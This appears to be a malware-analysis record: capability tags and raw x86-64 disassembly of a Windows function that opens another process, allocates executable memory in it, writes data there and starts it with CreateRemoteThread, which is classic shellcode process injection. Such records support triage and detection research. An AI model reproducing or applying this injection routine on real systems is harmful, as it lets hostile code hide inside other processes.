Function at 0x14025aac0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x98
lea rbp, [rsp + 0xd0]
xor eax, eax
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x48], rax
lea rcx, [0x14036bd30]
call fcn.140182d60
mov rdx, rax
lea rcx, [0x140382470]
call fcn.140185b00
mov rdx, rax
lea rcx, [0x140382448]
xor r8d, r8d
call fcn.14025b130
lea rcx, [0x14036bd30]
call fcn.140182d60
mov rcx, rax
call fcn.14025aa10
lea rcx, [0x140385f88]
lea rdx, [0x14036dc40]
call fcn.1402610e0
mov rdx, rax
lea r8, [rbp - 0x48]
lea rcx, [0x1403bafe0]
call fcn.14035b840
mov rbx, rax
test rbx, rbx
jne 0x14025ab74
lea rcx, [0x140382448]
lea rdx, [0x14037e8e8]
mov r8d, 2
call fcn.14025b130
xor esi, esi
jmp 0x14025ae0f
mov rcx, rbx
call fcn.140260450
mov rdx, rax
lea rcx, [0x1403bb110]
call fcn.14035b7b0
mov rdx, rax
lea rcx, [0x1403bb138]
call fcn.14035b970
mov rsi, rax
mov rdi, qword [0x14069e7a0]
mov r8, qword [rdi + 0x10]
test r8, r8
jne 0x14025abd7
lea rcx, [0x140449a20]
call fcn.140006b10
mov r14, rax
mov rdx, qword [rdi + 8]
mov rcx, r14
call fcn.14000463c
lea rcx, [rdi + 0x10]
mov rdx, r14
call fcn.140006d20
mov r8, r14
mov rdx, rsi
lea rcx, [0x1403bb0f8]
call fcn.14035b6c0
test eax, eax
je 0x14025ac08
lea rcx, [0x140382448]
lea rdx, [0x14038a5d0]
mov r8d, 2
call fcn.14025b130
jmp 0x14025ab6d
lea rcx, [0x140382448]
lea rdx, [0x1403824a0]
xor r8d, r8d
call fcn.14025b130
mov rcx, rbx
mov edx, 1
call fcn.140260840
mov r8d, dword [rbx + 0xd0]
mov dword [rbp - 0x4c], r8d
mov ecx, 0xffff
mov dword [rbp - 0x50], ecx
xor edx, edx
mov dword [rbp - 0x54], edx
lea rcx, [rbp - 0x98]
call fcn.140006fa0
mov r8d, dword [rbp - 0x4c]
mov ecx, dword [rbp - 0x50]
mov edx, dword [rbp - 0x54]
call sub.KERNEL32.dll_OpenProcess
mov rbx, rax
lea rcx, [rbp - 0x98]
call fcn.140006ff0
lea rcx, [0x1403a8af0]
call fcn.14025a440
mov rcx, rax
lea rdx, [0x1403849d8]
call fcn.14025a4b0
mov rsi, rax
lea rcx, [0x14036bd30]
call fcn.140182d60
mov edi, dword [rax + 8]
inc edi
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov dword [rsp + 0x20], 0x40
mov rcx, rbx
mov qword [rbp - 0x5c], rcx
mov r8d, edi
mov dword [rbp - 0x54], r8d
xor edx, edx
mov qword [rbp - 0x64], rdx
mov r9d, 0x3000
mov dword [rbp - 0x50], r9d
lea rcx, [rbp - 0x98]
call fcn.140006fa0
mov rcx, qword [rbp - 0x5c]
mov r8d, dword [rbp - 0x54]
mov rdx, qword [rbp - 0x64]
mov r9d, dword [rbp - 0x50]
call sub.KERNEL32.dll_VirtualAllocEx
mov rdi, rax
lea rcx, [rbp - 0x98]
call fcn.140006ff0
call sub.KERNEL32.dll_GetLastError
mov r14d, eax
call fcn.140003a58
mov dword [rax + 0xf0], r14d
lea rcx, [0x1403be6f8]
cmp qword [rcx - 8], 0
jne 0x14025ae27
mov rcx, qword [0x14069e3e8]
mov r14, qword [rcx + 8]
lea rcx, [0x14036bd30]
call fcn.140182d60
mov rdx, rax
mov rcx, r14
cmp dword [rcx], ecx
call fcn.140249300
mov r14, rax
lea rcx, [0x14036bd30]
call fcn.140182d60
mov r9d, dword [rax + 8]
inc r9d
lea r8, [rbp - 0x40]
mov qword [rsp + 0x20], r8
mov r8, r14
mov rcx, rbx
mov rdx, rdi
call fcn.14025a5d0
lea rcx, [0x140382448]
lea rdx, [0x1403738d0]
xor r8d, r8d
call fcn.14025b130
mov qword [rsp + 0x20], rdi
xor ecx, ecx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x30], rcx
mov rcx, rbx
mov qword [rbp - 0x64], rcx
mov r9, rsi
mov qword [rbp - 0x5c], r9
xor edx, edx
mov qword [rbp - 0x6c], rdx
xor r8d, r8d
mov dword [rbp - 0x50], r8d
lea rcx, [rbp - 0x98]
call fcn.140006fa0
mov rcx, qword [rbp - 0x64]
mov r9, qword [rbp - 0x5c]
mov rdx, qword [rbp - 0x6c]
mov r8d, dword [rbp - 0x50]
call sub.KERNEL32.dll_CreateRemoteThread
lea rcx, [rbp - 0x98]
call fcn.140006ff0
lea rcx, [0x140382448]
lea rdx, [0x14038ca48]
xor r8d, r8d
call fcn.14025b130
lea rcx, [0x140382448]
lea rdx, [0x14038a598]
xor r8d, r8d
call fcn.14025b130
mov esi, 1
movzx eax, sil
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.140002950
jmp 0x14025ad1f